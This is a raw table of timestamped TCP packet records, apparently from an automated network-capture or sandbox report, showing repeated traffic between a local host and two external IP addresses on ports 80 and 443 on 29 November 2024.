Nov 29, 2024 20:07:48.955028057 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.955080986 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.956144094 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.956195116 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.956213951 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.956258059 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.957293034 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.957340002 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.957492113 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.957535982 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.958698034 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.958746910 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.958811045 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.959039927 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.959940910 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.959981918 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.960061073 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.960103989 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.961096048 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.961152077 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.961225033 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.961266994 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.962459087 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.962542057 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.962588072 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.963633060 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.963742018 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.963804960 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.963846922 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.964878082 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.964910984 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.965008974 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.965043068 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.966176987 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.966269016 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.966308117 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.967466116 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.967525005 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.967611074 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.967657089 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.968677044 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.968732119 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:48.968842983 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:48.968871117 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.091008902 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.091150999 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.091223955 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.091666937 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.091850996 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.091902018 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.092963934 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.093014956 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.093156099 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.094362974 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.094439983 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.094479084 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.118122101 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.118134022 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.118200064 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.118374109 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.118421078 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.118499994 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.118547916 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.119640112 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.119678020 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.119719028 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.119772911 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.120858908 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.120901108 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.120978117 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.121022940 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.122179031 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.122287989 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.122307062 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.122375965 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.123732090 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.123769045 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.123878002 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.123920918 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.124789953 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.124855995 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.125051022 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.125098944 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.126180887 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.126240969 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.126277924 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.126334906 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.127376080 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.127428055 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.127429008 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.127500057 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.128504992 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.128571033 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.128590107 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.128684998 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.129738092 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.129787922 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.129842997 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.129887104 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.134572983 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.134618044 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.135073900 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.135086060 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.135097980 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.135116100 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.135135889 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.135407925 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.135445118 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.135592937 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.135637999 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.136616945 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.136667967 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.136766911 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.136810064 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.138107061 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.138159990 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.138251066 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.138284922 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.139373064 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.139384985 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.139425039 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.140547991 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.140558958 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.140592098 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.141720057 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.141758919 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.141907930 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.141949892 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.143166065 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.143234015 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.143328905 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.143359900 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.144345045 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.144356012 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.144392967 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.145414114 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.145560980 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.145608902 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.146718979 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.146776915 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.146881104 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.146925926 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.148046017 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.148083925 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.148197889 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:49.148221970 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:49.148225069 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.148263931 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.148300886 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:49.148880959 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.148891926 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.148902893 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.148914099 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.148945093 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.148963928 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.149569035 CET	50079	443	192.168.2.4	172.67.165.166
Nov 29, 2024 20:07:49.149581909 CET	443	50079	172.67.165.166	192.168.2.4
Nov 29, 2024 20:07:49.149961948 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.150003910 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.150079966 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.150115013 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.151264906 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.151319027 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.151386976 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.151431084 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.152466059 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.152525902 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.152585983 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.152640104 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.153748035 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.153791904 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.153836012 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.153883934 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.155044079 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.155100107 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.155128956 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.155164957 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.156281948 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.156357050 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.156435013 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.157358885 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.157577038 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.157686949 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.157732964 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.158855915 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.158905983 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.159084082 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.159136057 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.160123110 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.160181046 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.160214901 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.160250902 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.161353111 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.161405087 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.161434889 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.161505938 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.162614107 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.162671089 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.162677050 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.162714005 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.163867950 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.163907051 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.163986921 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.164021969 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.165158033 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.165297985 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.165344954 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.166389942 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.166583061 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.166637897 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.167663097 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.167711973 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.167787075 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.168919086 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.168967962 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.169051886 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.169362068 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.170200109 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.170280933 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.170320988 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.171478987 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.171556950 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.171602011 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.172993898 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.173129082 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.173170090 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.174052000 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.174098969 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.174258947 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.175268888 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.175332069 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.175395966 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.176506996 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.176567078 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.176620007 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.177879095 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.177891016 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.177936077 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.179140091 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.179265976 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.179333925 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.324621916 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.324671984 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.324738979 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.325333118 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.325377941 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.325387955 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.326534986 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.326570034 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.326653957 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.326692104 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.327754974 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.330534935 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.360116005 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.360222101 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.360356092 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.360534906 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.360636950 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.360974073 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.361506939 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.361613989 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.361644983 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.362782001 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.362947941 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.362973928 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.364031076 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.364175081 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.364203930 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.365295887 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.365462065 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.365488052 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.366331100 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.366554976 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.366730928 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.367862940 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.367891073 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.367939949 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.368527889 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.369098902 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.369208097 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.369344950 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.370338917 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.370476961 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.371624947 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.371653080 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.371784925 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.371969938 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.372894049 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.373045921 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.373075962 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.374166012 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.374270916 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.374298096 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.375427961 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.375546932 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.375575066 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.375940084 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.376722097 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.376769066 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.376904011 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.377944946 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.378057003 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.378329039 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.379192114 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.379333019 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.380507946 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.380534887 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.380601883 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.381341934 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.381732941 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.381863117 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.382400990 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.383116007 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.383209944 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.383316040 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.384275913 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.384347916 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.384371996 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.384468079 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.385920048 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.386054993 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.387108088 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.387367964 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.387396097 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.388381958 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.388700008 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.388756990 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.388926029 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.389825106 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.389868975 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.389893055 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.389966965 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.391129971 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.391264915 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.391737938 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.392529011 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.392601967 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.393553972 CET	80	50077	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:49.393579960 CET	50077	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:49.393678904 CET	80	50077	185.215.113.16	192.168.2.4
